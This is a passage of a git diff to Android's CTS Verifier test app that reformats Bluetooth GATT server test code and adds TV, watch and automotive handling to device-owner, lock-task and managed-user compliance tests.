-                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE) || !bonded)) {
+                    if (mSecure && ((device.getBondState() == BluetoothDevice.BOND_NONE)
+                            || !bonded)) {
                         // not pairing and execute Secure Test
                         cancelNotificationTaskOfSecureTestStartFailure();
                         /*
@@ -910,7 +921,8 @@
                             @Override
                             public void run() {
                                 mNotificationTaskOfSecureTestStartFailure = null;
-                                if (mSecure && (mDevice.getBondState() != BluetoothDevice.BOND_BONDED)) {
+                                if (mSecure && (mDevice.getBondState() != BluetoothDevice
+                                .BOND_BONDED)) {
                                     notifyMismatchSecure();
                                 }
                             }
@@ -918,7 +930,8 @@
                         mHandler.postDelayed(mNotificationTaskOfSecureTestStartFailure,
                                 NOTIFICATION_DELAY_OF_SECURE_TEST_FAILURE);
                         */
-                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE) || bonded)) {
+                    } else if (!mSecure && ((device.getBondState() != BluetoothDevice.BOND_NONE)
+                            || bonded)) {
                         // already pairing nad execute Insecure Test
                         /*
                         notifyMismatchInsecure();
@@ -946,11 +959,13 @@
                 if (uuid.equals(mService.getUuid())) {
                     // create and add nested service
                     BluetoothGattService includedService =
-                            new BluetoothGattService(SERVICE_UUID_INCLUDED, BluetoothGattService.SERVICE_TYPE_SECONDARY);
+                            new BluetoothGattService(SERVICE_UUID_INCLUDED,
+                                    BluetoothGattService.SERVICE_TYPE_SECONDARY);
                     BluetoothGattCharacteristic characteristic =
-                        new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
+                            new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);
                     characteristic.setValue(WRITE_VALUE.getBytes());
-                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);
+                    BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(
+                            DESCRIPTOR_UUID, 0x11);
                     descriptor.setValue(WRITE_VALUE.getBytes());
                     characteristic.addDescriptor(descriptor);
                     includedService.addCharacteristic(characteristic);
@@ -972,7 +987,8 @@
         }
 
         @Override
-        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId, int offset,
+                BluetoothGattCharacteristic characteristic) {
             if (mGattServer == null) {
                 if (DEBUG) {
                     Log.d(TAG, "GattServer is null, return");
@@ -1024,7 +1040,8 @@
                 return;
             }
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite
+                        + ", responseNeeded= " + responseNeeded);
             }
 
             if (characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
@@ -1048,14 +1065,16 @@
                         break;
                 }
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
                 return;
             }
 
             if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
                 mGattServer.removeService(mServiceChangedService);
                 return;
@@ -1073,7 +1092,8 @@
                     }
                 }
                 if (responseNeeded) {
-                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                            value);
                 }
 
                 return;
@@ -1092,7 +1112,8 @@
             } else {
                 characteristic.setValue(value);
                 // verify
-                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+                        characteristic.getValue())) {
                     UUID uid = characteristic.getUuid();
                     if (uid.equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
                         notifyCharacteristicWriteRequestNeedEncrypted();
@@ -1105,7 +1126,8 @@
             }
 
             if (responseNeeded) {
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                        value);
             }
         }
 
@@ -1118,13 +1140,13 @@
                 }
                 return;
             }
-                if (DEBUG) {
+            if (DEBUG) {
                 Log.d(TAG, "onDescriptorReadRequest(): (descriptor == getDescriptor())="
                         + (descriptor == getDescriptor()));
             }
 
             UUID uid = descriptor.getUuid();
-            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)){
+            if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
                 notifyDescriptorReadRequestNeedEncrypted();
             } else {
                 notifyDescriptorReadRequest();
@@ -1142,7 +1164,7 @@
         public void onDescriptorWriteRequest(BluetoothDevice device, int requestId,
                 BluetoothGattDescriptor descriptor,
                 boolean preparedWrite, boolean responseNeeded,
-                int offset,  byte[] value) {
+                int offset, byte[] value) {
             if (mGattServer == null) {
                 if (DEBUG) {
                     Log.d(TAG, "GattServer is null, return");
@@ -1152,7 +1174,8 @@
             BluetoothGattCharacteristic characteristic = descriptor.getCharacteristic();
             UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite + ", responseNeeded= " + responseNeeded);
+                Log.d(TAG, "onDescriptorWriteRequest: preparedWrite=" + preparedWrite
+                        + ", responseNeeded= " + responseNeeded);
                 Log.d(TAG, "   characteristic uuid = " + uid);
             }
 
@@ -1161,11 +1184,14 @@
             if (duid.equals(UPDATE_DESCRIPTOR_UUID)) {
                 if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE)) {
                     mGattServer.notifyCharacteristicChanged(
-                            mDevice, descriptor.getCharacteristic(), false, value);
+                            mDevice, descriptor.getCharacteristic(), false,
+                            characteristic.getValue());
+
                     mIndicated = false;
                 } else if (Arrays.equals(value, BluetoothGattDescriptor.ENABLE_INDICATION_VALUE)) {
                     mGattServer.notifyCharacteristicChanged(
-                            mDevice, descriptor.getCharacteristic(), true, value);
+                            mDevice, descriptor.getCharacteristic(), true,
+                            characteristic.getValue());
                     mIndicated = true;
                 }
             } else if (duid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
@@ -1184,7 +1210,8 @@
                 }
             }
             if (responseNeeded) {
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                        value);
             }
         }
 
@@ -1279,14 +1306,14 @@
             Log.d(TAG, "startAdvertise");
         }
         AdvertiseData data = new AdvertiseData.Builder()
-            .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1,2,3})
-            .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
-            .build();
+                .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})
+                .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
+                .build();
         AdvertiseSettings setting = new AdvertiseSettings.Builder()
-            .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
-            .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
-            .setConnectable(true)
-            .build();
+                .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+                .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+                .setConnectable(true)
+                .build();
         mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
     }
 
@@ -1299,7 +1326,7 @@
         }
     }
 
-    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {
         @Override
         public void onStartFailure(int errorCode) {
             // Implementation for API Test.
@@ -1325,7 +1352,8 @@
         }
     };
 
-    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+    /*protected*/
+    static void dumpService(BluetoothGattService service, int level) {
         String indent = "";
         for (int i = 0; i < level; ++i) {
             indent += "  ";
@@ -1337,18 +1365,20 @@
         for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
             Log.d(TAG, indent + "    UUID: " + ch.getUuid());
             Log.d(TAG, indent + "      properties: " + String.format("0x%02X", ch.getProperties()));
-            Log.d(TAG, indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG,
+                    indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
             Log.d(TAG, indent + "      [descriptors]");
             for (BluetoothGattDescriptor d : ch.getDescriptors()) {
                 Log.d(TAG, indent + "        UUID: " + d.getUuid());
-                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X", d.getPermissions()));
+                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X",
+                        d.getPermissions()));
             }
         }
 
         if (service.getIncludedServices() != null) {
             Log.d(TAG, indent + "  [included services]");
             for (BluetoothGattService s : service.getIncludedServices()) {
-                dumpService(s, level+1);
+                dumpService(s, level + 1);
             }
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 0000000..9fa9d7e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+    @Override
+    protected void onCreate(Bundle savedState) {
+        super.onCreate(savedState);
+        setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+        setPassFailButtonClickListeners();
+
+        // Sets the text in the dialog
+        setInfoResources(R.string.car_launcher_test,
+                R.string.car_launcher_test_desc, -1);
+
+        // Open the car launcher
+        findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+            this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
     }
 
     /**
+     * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+     */
+    public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+        return isAutomotive(context);
+    }
+
+    /**
      * Checks whether the device supports file transfer.
      */
     public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 218897f..257d6df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -126,6 +126,7 @@
     public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
     public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
             "set-required-password-complexity";
+    public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
 
     public static final String EXTRA_USER_RESTRICTION =
             "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -435,14 +436,14 @@
                             PackageManager.DONT_KILL_APP);
                 } break;
                 case COMMAND_SET_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
                             false /* lockdownEnabled */);
                 } break;
                 case COMMAND_CLEAR_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -462,13 +463,13 @@
                     mDpm.setRecommendedGlobalProxy(mAdmin, null);
                 } break;
                 case COMMAND_INSTALL_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
                 } break;
                 case COMMAND_CLEAR_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
@@ -560,6 +561,7 @@
                 case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
                     int complexity = intent.getIntExtra(EXTRA_VALUE,
                             DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+                    Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
                     mDpm.setRequiredPasswordComplexity(complexity);
                 }
             }
@@ -583,6 +585,15 @@
         return isIt;
     }
 
+    /**
+     * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+     * headless system user mode.
+      */
+    private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+        return mDpm.isDeviceOwnerApp(packageName)
+                || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+    }
+
     private void installHelperPackage() throws Exception {
         if (UserManager.isHeadlessSystemUserMode()) {
             // App was already installed on user 0 (as instructed), so we just install it for the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 44fb73e..865795d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -93,6 +93,8 @@
     private static final String DISABLE_USB_DATA_SIGNALING_TEST_ID = "DISABLE_USB_DATA_SIGNALING";
     private static final String SET_REQUIRED_PASSWORD_COMPLEXITY_ID =
             "SET_REQUIRED_PASSWORD_COMPLEXITY";
+    private static final String ACTION_CONNECT_INPUT =
+            "com.google.android.intent.action.CONNECT_INPUT";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -346,7 +348,8 @@
                                             UserManager.DISALLOW_CONFIG_BLUETOOTH, true)),
                             new ButtonInfo(
                                     R.string.device_owner_settings_go,
-                                    new Intent(Settings.ACTION_BLUETOOTH_SETTINGS)),
+                                    new Intent(Utils.isTV(this) ? ACTION_CONNECT_INPUT
+                                            : Settings.ACTION_BLUETOOTH_SETTINGS)),
                             new ButtonInfo(
                                     R.string.device_owner_user_restriction_unset,
                                     CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
@@ -355,7 +358,7 @@
         }
 
         // DISALLOW_USB_FILE_TRANSFER
-        if (FeatureUtil.isUsbFileTransferSupported(this)) {
+        if (FeatureUtil.isUsbFileTransferSupported(this) && !Utils.isTV(this)) {
             adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
                     R.string.device_owner_disallow_usb_file_transfer_test,
                     R.string.device_owner_disallow_usb_file_transfer_test_info,
@@ -390,9 +393,11 @@
                     }));
         }
 
+        // Without PIN/Password watches don't have any lockscreen, so this policy isn't applicable
         // setKeyguardDisabled
-        if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)
-                && Utils.isLockscreenSupported(this)) {
+        if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this) &&
+                Utils.isLockscreenSupported(this) &&
+                !packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
             adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
                     R.string.device_owner_disable_keyguard_test,
                     R.string.device_owner_disable_keyguard_test_info,
@@ -412,7 +417,7 @@
 
         // setLockTaskFeatures
         // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
-        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) && !Utils.isTV(this)) {
             final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
             lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID,
                     LOCK_TASK_UI_TEST_ID);
@@ -621,7 +626,8 @@
         // removeDeviceOwner
         adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
                 R.string.device_owner_remove_device_owner_test,
-                R.string.device_owner_remove_device_owner_test_info,
+                Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv
+                        : R.string.device_owner_remove_device_owner_test_info,
                 new ButtonInfo(
                         R.string.remove_device_owner_button,
                         createTearDownIntent())));
@@ -710,6 +716,7 @@
 
     private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
         return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
                         CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
                 .putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 4a4eae4..40eefea 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -240,7 +240,8 @@
         // removeDeviceOwner
         adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
                 R.string.device_owner_remove_device_owner_test,
-                R.string.device_owner_remove_device_owner_test_info,
+                Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv
+                        : R.string.device_owner_remove_device_owner_test_info,
                 new ButtonInfo(
                         R.string.remove_device_owner_button,
                         createTearDownIntent())));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index c18150e..7aa1eaa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -205,10 +205,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
 
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -230,10 +230,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_install_cert,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
         if (Utils.isLockscreenSupported(this)) {
             adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
index d040526..41f6aad 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -40,11 +40,12 @@
 import android.database.DataSetObserver;
 import android.os.AsyncTask;
 import android.os.Bundle;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 import android.widget.Button;
 import android.widget.Toast;
 
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
@@ -126,7 +127,8 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_DEFAULT,
                     LOCK_TASK_FEATURE_NONE,
@@ -140,7 +142,8 @@
                     R.string.device_owner_lock_task_ui_system_info_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_NOTIFICATIONS,
                     LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
@@ -148,7 +151,8 @@
                     R.string.device_owner_lock_task_ui_notifications_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_HOME,
                     LOCK_TASK_FEATURE_HOME,
@@ -156,7 +160,8 @@
                     R.string.device_owner_lock_task_ui_home_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_RECENTS,
                     LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
@@ -164,7 +169,8 @@
                     R.string.device_owner_lock_task_ui_recents_test_info));
         }
 
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
             adapter.add(createSetLockTaskFeaturesTest(
                     TEST_ID_GLOBAL_ACTIONS,
                     LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
@@ -173,6 +179,7 @@
         }
 
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+                && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)
                 && getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN)) {
             adapter.add(createSetLockTaskFeaturesTest(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..6ddcf71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
     private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+    private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        // Check managed user's new user disclaimer
+        if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+            adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+                    R.string.check_new_user_disclaimer,
+                    R.string.check_new_user_disclaimer_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_USER_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    createSetOrganizationNameIntent())}));
+        }
+
         adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
                 R.string.managed_user_check_managed_user_test,
                 new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
         adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
                 R.string.device_profile_owner_policy_transparency_test,
                 policyTransparencyTestIntent));
-
     }
 
-
     static TestListItem createTestItem(Activity activity, String id, int titleRes,
             Intent intent) {
         intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,9 @@
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
+
+    private Intent createSetOrganizationNameIntent() {
+        return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index 5fad20c..d8b659e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -158,4 +158,9 @@
         return context.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
     }
+
+    static boolean isTV(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 795028e..e57d620 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -16,31 +16,15 @@
 
 package com.android.cts.verifier.nfc.offhost;
 
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
 import android.content.Context;
-import android.content.DialogInterface;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Bundle;
-import android.util.Log;
